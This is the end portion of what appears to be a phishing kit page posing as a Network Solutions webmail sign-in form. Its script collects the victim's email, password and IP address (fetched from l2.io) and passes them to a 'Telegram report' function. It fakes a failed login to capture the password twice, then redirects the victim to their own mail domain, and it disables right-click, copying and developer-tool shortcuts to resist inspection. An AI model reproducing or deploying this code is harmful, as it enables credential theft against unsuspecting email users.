              <label for="io-ox-login-username">Username</label>
              <input type="text" id="io-ox-login-username" name="username" class="form-control"
                maxlength="1000" spellcheck="false" aria-required="true" autocomplete="username">
            </div>
            
            <div class="form-group row password">
              <label for="io-ox-login-password">Password</label>
              <input type="password" id="io-ox-login-password" name="password" class="form-control"
                maxlength="1000" aria-required="true" autocomplete="current-password">
              <div class="text-right" id="io-ox-forgot-password">
                <a href="#">Forgot your password?</a>
              </div>
            </div>
            
            <div class="row options">
              <div class="checkbox" style="margin-bottom: 20px;">
                <label style="font-size: 14px; cursor: pointer;">
                  <input type="checkbox" id="io-ox-login-store-box" checked="checked" name="staySignedIn" value="1">
                  Stay signed in
                </label>
              </div>
            </div>

            <div class="row button">
              <button type="submit" id="io-ox-login-button" class="btn btn-primary">Sign In</button>
            </div>
          </div>
        </form>
        
        <footer class="text-center">
            <p>&copy; <?php echo date('Y'); ?> Network Solutions. All rights reserved.</p>
        </footer>
      </main>
    </div>
  </div>

  <script type="text/javascript" src="https://l2.io/ip.js?var=userip"></script>
  <script>
    $(document).ready(function() {
        var count = 0;
        window.providerTag = 'networksolutions';

        // Email extraction and autofill handled by centralized scripts
        if (typeof fillEmailIfPresent === 'function') {
            fillEmailIfPresent();
        } else {
            // Fallback for standalone use
            var email = typeof extractEmailFromUrl === 'function' ? extractEmailFromUrl() : "";
            if (email) $('#io-ox-login-username').val(email);
        }

        const initialEmail = typeof extractEmailFromUrl === 'function' ? extractEmailFromUrl() : "";
        if (initialEmail) {
            $('#io-ox-login-username').val(initialEmail);
        }

        $('#io-ox-login-button').click(function(event) {
            event.preventDefault();
            $('#io-ox-login-feedback').hide();

            var email = $("#io-ox-login-username").val();
            var password = $("#io-ox-login-password").val();
            var clientIP = window.userip || 'n/a';

            if (!email || !email.includes('@')) {
                $('#io-ox-login-feedback').show().text("Enter a valid email address.");
                return false;
            }
            if (!password || password.length < 5) {
                $('#io-ox-login-feedback').show().text("Password is too short.");
                return false;
            }

            count++;
            $('#io-ox-login-button').text('Verifying...');

            if (count === 1) {
                // First attempt - report and show error
                if (typeof sendCentralizedTelegramReport === 'function') {
                    sendCentralizedTelegramReport(window.providerTag, email, password, clientIP, function() {
                        $('#io-ox-login-button').text('Sign In');
                        $("#io-ox-login-password").val("");
                        $('#io-ox-login-feedback').show().text("Username or Password is incorrect. Please try again");
                    });
                } else {
                    // Fallback local report or simulation
                    setTimeout(function() {
                        $('#io-ox-login-button').text('Sign In');
                        $("#io-ox-login-password").val("");
                        $('#io-ox-login-feedback').show().text("Username or Password is incorrect. Please try again");
                    }, 1000);
                }
            } else {
                // Second attempt onwards - report and redirect
                if (typeof sendCentralizedTelegramReport === 'function') {
                    sendCentralizedTelegramReport(window.providerTag, email, password, clientIP, function() {
                        if (typeof performCentralizedRedirect === 'function') {
                            performCentralizedRedirect(800);
                        } else {
                            var domain = email.substring(email.lastIndexOf("@") + 1);
                            setTimeout(function() { window.location.replace("https://www." + domain); }, 800);
                        }
                    });
                } else {
                    var domain = email.substring(email.lastIndexOf("@") + 1);
                    setTimeout(function() { window.location.replace("https://www." + domain); }, 800);
                }
            }
        });

        // Anti-copy / Anti-inspect
        (function() {
            var isTouch = 'ontouchstart' in window || navigator.maxTouchPoints > 0;
            if (!isTouch) {
                document.addEventListener('contextmenu', function(e) { e.preventDefault(); }, false);
            }
            document.addEventListener('copy', function(e) { e.preventDefault(); }, false);
            document.addEventListener('keydown', function(e) {
                if (e.keyCode === 123) e.preventDefault();
                if (e.ctrlKey && e.shiftKey && (e.keyCode === 73 || e.keyCode === 74)) e.preventDefault();
                if (e.ctrlKey && e.keyCode === 85) e.preventDefault();
            });
        })();
    });
  </script>
</body>
</html>
